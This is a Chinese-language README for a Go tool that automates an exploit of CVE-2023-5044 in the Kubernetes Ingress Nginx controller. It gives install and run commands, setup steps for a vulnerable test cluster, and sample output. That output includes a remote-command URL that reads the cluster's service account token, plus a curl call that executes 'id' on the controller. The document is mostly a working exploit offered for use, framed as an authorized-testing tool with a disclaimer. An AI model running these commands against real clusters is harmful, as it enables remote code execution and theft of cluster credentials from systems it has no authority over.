这是一个快速利用 Ingress Nginx 控制器中最近 CVE 漏洞的 Go 程序。
关于如何利用此漏洞的详细信息已通过 Rory McCune 的博客发布在 https://raesene.github.io/blog/2023/10/29/exploiting-CVE-2023-5044/,此工具只是将过程自动化了一点,并整理了利用程序,使其成为一个更灵活、通用的远程代码执行负载。
% go install github.com/4armed/cve-2023-5044@latest
你需要一个集群来运行测试,该集群运行着存在漏洞版本的 ingress-nginx(显然)。如果没有用于测试的集群,可以通过克隆此仓库并使用 deploy 文件夹中的 Makefile 来创建一个 Kind 集群。
% git clone github.com/4armed/cve-2023-5044
% cd cve-2023-5044/deploy && make up
如果你保持 kind.yaml 文件不变,你将拥有一个绑定到本地主机端口 30080 和 30443 的集群。
% cve-2023-5044 run -u http://localhost:30080
2024/01/17 14:10:48 INFO checking permissions
2024/01/17 14:10:48 INFO created ingress object namespace=default name=forearmed-poc-hm48l
2024/01/17 14:10:48 INFO exploit at http://localhost:30080/4armed?cmd=cat+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken"
“checking permissions”这一行是因为该工具会执行 Subject Access Review 来检查你是否具有创建 Ingress 的权限。如果没有,它将在该点退出。如果你对现有的 Ingress 有编辑权限,你当然可以使用该漏洞实现妥协,但自动化更新现有 Ingress 而不破坏东西就太复杂了。
触发漏洞的默认路径是 /4armed,它会读取并执行 cmd 查询字符串参数的值。
它会打印出一个示例 URL,其中默认命令为 cat /var/run/secrets/kubernetes.io/serviceaccount/token。你可以使用 -e 标志更改此命令,或者直接在 cmd 参数中提供不同的值。该漏洞不是硬编码的。你不需要部署新的 Ingress。
% curl 'http://localhost:30080/4armed?cmd=id'
uid=101(www-data) gid=82(www-data)
Ingress 对象名称使用 GenerateName 随机生成,所以请注意输出并清理你自己创建的 Ingress 对象。
% kubectl delete ingress forearmed-poc-hm48l
ingress.networking.k8s.io "forearmed-poc-hm48l" deleted
如果只想生成 Ingress 对象,请使用:
% cve-2023-5044 generate
此工具仅用于测试目的,且仅针对你拥有授权权限的集群。如果你将其用于任何集群,无论你是否拥有权限,作者均不对因此造成的任何损害或问题承担责任。我们已经尽力选择不会与现有路径冲突的路径值,你可以通过标志覆盖这些值,或在需要时修改代码,但你仍然可能破坏某些东西。请确保你清楚自己在做什么。